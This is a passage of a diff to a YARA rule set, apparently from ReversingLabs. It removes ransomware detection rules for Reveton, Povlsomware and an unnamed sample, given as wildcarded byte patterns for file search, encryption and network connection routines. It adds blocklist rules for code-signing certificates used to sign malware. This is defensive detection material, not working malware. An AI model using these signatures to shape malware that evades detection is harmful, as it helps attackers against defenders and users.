55 8B EC 81 EC ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 - FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 4D ?? 51 - FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 - ?? 32 C0 E9 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B - 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 - C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 - } - $encrypt_files_p2 = { - 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF - 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A - ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B - 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A - ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 - ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 4D - ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 8D ?? ?? ?? - ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 - ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 - FF 15 ?? ?? ?? ?? B0 ?? 8B E5 5D C3 - } - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 - ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 0F B7 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 89 95 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 83 F8 ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 73 ?? 8B 95 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 95 ?? ?? ?? ?? 83 FA ?? 75 - } - $find_files_p2 = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 73 ?? 8B 8D ?? ?? ?? ?? 8B 14 8D ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 8D ?? ?? ?? - ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? - ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? - 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? - 51 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? - 8B E5 5D C3 - } - $remote_connection = { - 55 8B EC 81 EC ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? FF 15 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 83 F9 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 81 C2 ?? ?? ?? ?? 52 8D 95 ?? ?? ?? ?? - 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D - ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? ?? - ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7F ?? 8D 85 ?? ?? ?? ?? 50 8B - 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 - ?? EB ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nanjing Ranyi Technology Co., Ltd. " and pe.signatures [ i ] . serial == "58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" and 1352246400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Reveton : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0B7279068Beb15Ffe8060D2C56153C35 : INFO FILE { meta: - description = "Yara rule that detects Reveton ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "14446b94-cd57-5930-b0af-b21091b61f68" - date = "2020-06-26" - modified = "2020-07-15" + id = "78bfa550-d85e-5776-a65d-ff0039abd2c4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Reveton.yara#L1-L118" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16320-L16336" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2d316c558cdb5591788ef89c6e20327882a118f2928f4a31fb5b8b3083931ac5" + logic_hash = "ca00f1adacd6ff16e54b85be38c3a4545a10c76548e0647f7f3f6cfa4dff412d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Reveton" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $http_connection_1 = { - C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? - ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 E8 ?? ?? ?? ?? 50 8B 45 - ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 06 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 68 - ?? ?? ?? ?? 8B 45 ?? 50 53 E8 ?? ?? ?? ?? 8B 55 ?? 8B 06 8B 4D ?? E8 ?? ?? ?? ?? 83 - 7D ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 - ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8 - } - $raw_socket_connection_1_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D - ?? 89 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 8E ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CF E8 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - } - $raw_socket_connection_1_2 = { - C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 80 BD ?? ?? ?? - ?? ?? 74 ?? 33 C0 EB ?? B0 ?? 84 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? - ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? FE C8 74 ?? 2C ?? 74 - ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? - ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 95 - ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? E8 - } - $raw_socket_connection_1_3 = { - 66 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F B6 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CF - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 - C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 40 ?? 8B 00 8B 00 - 89 85 ?? ?? ?? ?? 8A 94 3D ?? ?? ?? ?? 8A 84 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 85 - ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 - ?? ?? ?? ?? E8 - } - $raw_socket_connection_1_4 = { - 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B - 00 50 E8 ?? ?? ?? ?? 40 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? 8B 00 - 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B 00 50 E8 - } - $raw_socket_connection_1_5 = { - C6 85 ?? ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? - ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 66 - 8B 85 ?? ?? ?? ?? 8B D0 66 81 E2 ?? ?? 88 95 ?? ?? ?? ?? 0F B7 C0 C1 E8 ?? 88 85 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? - ?? ?? 40 74 ?? B3 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 - 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? - ?? ?? ?? C3 - } - $file_search_1_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 C3 85 DB 74 - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 ?? 8B 45 ?? 50 8D - 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 80 38 ?? 75 ?? - 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 - } - $file_search_1_2 = { - 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? - ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 8B D0 - 03 D3 42 81 FA ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 50 56 8D 85 ?? ?? ?? ?? 03 C3 50 E8 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - } - $file_search_1_3 = { - 8B F0 83 FE ?? 74 ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 53 ?? - 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 48 50 8D - 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 ?? ?? ?? - ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 - } - $raw_socket_connection_2 = { - 55 8B EC 83 C4 ?? 53 56 8B F2 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 8D 45 ?? - 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8B C6 86 E0 66 89 45 ?? 8B 45 - ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B C3 E8 - ?? ?? ?? ?? 83 CB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? - C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou YuanLuo Technology Co.,Ltd" and pe.signatures [ i ] . serial == "0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" and 1350864000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0Bc0F18Da36702E302Db170D91Dc9202 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "977d9686-d811-5416-b090-d4f45d7935d0" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16338-L16354" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d9ee2cf63a4edb28f894ea49a5b4df9b818d5764d9a74721b1d5222f53859462" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $http_connection_1 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 and $raw_socket_connection_1_1 and $raw_socket_connection_1_2 and $raw_socket_connection_1_3 and $raw_socket_connection_1_4 and $raw_socket_connection_1_5 ) or ( $raw_socket_connection_2 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foresee Consulting Inc." and pe.signatures [ i ] . serial == "0b:c0:f1:8d:a3:67:02:e3:02:db:17:0d:91:dc:92:02" and 1637712000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Povlsomware : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_Ca9B6F49B8B41204A174C751C73Dc393 : INFO FILE { meta: - description = "Yara rule that detects Povlsomware ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "317d7cca-4fe8-55ab-8f5f-e42be727ec26" - date = "2021-08-12" - modified = "2021-08-12" + id = "d09658e4-44e4-5c10-a866-ba486000f1b6" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara#L1-L64" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16356-L16374" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "465dc1b1d7e9eb3091f36efb51029cd3383d05ece054e814b18f379e58c7e457" + logic_hash = "0b6558a7a1b78d471aaadced959ba91e411df50e3cc08e447fe9bd97f9e5cced" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Povlsomware" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $setup_attack = { - 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 2C ?? - 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 80 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 09 17 58 0D - 09 08 8E 69 32 ?? 00 38 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 - ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 1A 6F ?? ?? ?? - ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? - 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 - DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC - 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 2A - } - $find_files = { - 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0C 2B ?? - 08 6F ?? ?? ?? ?? 0D 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 00 08 6F ?? ?? ?? ?? 2D ?? - DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? 00 DC 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 38 ?? - ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 